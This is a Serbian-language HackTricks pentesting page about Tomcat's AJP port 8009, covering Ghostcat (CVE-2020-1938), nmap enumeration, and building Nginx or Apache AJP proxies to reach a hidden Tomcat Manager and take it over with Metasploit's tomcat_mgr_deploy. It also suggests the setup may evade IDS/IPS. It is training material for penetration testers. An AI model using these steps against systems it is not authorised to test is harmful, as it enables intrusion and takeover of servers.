9.7 KiB
8009 - Pentesting Apache JServ Protocol (AJP)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Hakerski Uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o Hakovanju u Realnom Vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Najnovije Najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Osnovne Informacije
Od: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/
AJP je žičani protokol. To je optimizovana verzija HTTP protokola koja omogućava samostalnom veb serveru poput Apache da komunicira sa Tomcat-om. Istoriski, Apache je bio mnogo brži od Tomcat-a u pružanju statičkog sadržaja. Ideja je da se dozvoli Apachu da služi statički sadržaj kada je to moguće, ali da prosledi zahtev Tomcat-u za Tomcat-ov sadržaj.
Takođe interesantno:
Protokol ajp13 je orijentisan prema paketima. Binarni format je verovatno izabran umesto čitljivijeg običnog teksta iz razloga performansi. Veb server komunicira sa servlet kontejnerom preko TCP veza. Da bi smanjio troškove procesa kreiranja soketa, veb server će pokušati da održava perzistentne TCP veze sa servlet kontejnerom, i da ponovo koristi vezu za višestruke cikluse zahteva/odgovora
Podrazumevani port: 8009
PORT STATE SERVICE
8009/tcp open ajp13
CVE-2020-1938 'Ghostcat'
Ako je AJP port izložen, Tomcat može biti podložan Ghostcat ranjivosti. Evo exploita koji radi sa ovim problemom.
Ghostcat je LFI ranjivost, ali donekle ograničena: samo fajlovi sa određenog puta mogu biti povučeni. Ipak, ovo može uključivati fajlove poput WEB-INF/web.xml
koji mogu otkriti važne informacije poput akreditacija za Tomcat interfejs, zavisno od podešavanja servera.
Popravljene verzije na ili iznad 9.0.31, 8.5.51 i 7.0.100 su rešile ovaj problem.
Enumeracija
Automatska
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
Brute force
AJP Proxy
Nginx Reverse Proxy & AJP
Pogledajte Dockerizovanu verziju
Kada naiđemo na otvoren AJP proxy port (8009 TCP), možemo koristiti Nginx sa ajp_module
-om da pristupimo "skrivenom" Tomcat Manager-u. Ovo možemo postići kompajliranjem izvornog koda Nginx-a i dodavanjem potrebnog modula, na sledeći način:
- Preuzmite izvorni kod Nginx-a
- Preuzmite potrebni modul
- Kompajlirajte izvorni kod Nginx-a sa
ajp_module
-om. - Kreirajte konfiguracioni fajl koji pokazuje ka AJP portu
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
<!-- Komentarišite ceo `server` blok i dodajte sledeće linije unutar `http` bloka u `/etc/nginx/conf/nginx.conf`. -->
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
Pokrenite Nginx i proverite da li sve radi ispravno izdavanjem cURL zahteva ka vašem lokalnom hostu.
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
Nginx Dockerizovana verzija
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
Zamenite TARGET-IP
u nginx.conf
sa AJP IP adresom, zatim izgradite i pokrenite.
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
Apache AJP Proxy
Nailazak otvoren port 8009 bez drugih dostupnih web portova je retko. Ipak, još uvek je moguće iskoristiti ga koristeći Metasploit. Korišćenjem Apache-a kao proksi, zahtevi mogu biti preusmereni ka Tomcat-u na portu 8009.
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
Ova postavka pruža potencijal za zaobilaženje sistema za otkrivanje i prevenciju upada (IDS/IPS) zbog binarne prirode AJP protokola, iako ova sposobnost nije potvrđena. Usmeravanjem redovnog Metasploit Tomcat exploit-a na 127.0.0.1:80
, možete efikasno preuzeti kontrolu nad ciljanim sistemom.
msf exploit(tomcat_mgr_deploy) > show options
Reference
- https://github.com/yaoweibin/nginx_ajp_module
- https://academy.hackthebox.com/module/145/section/1295
Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Uvidi u hakovanje
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
Poslednje najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.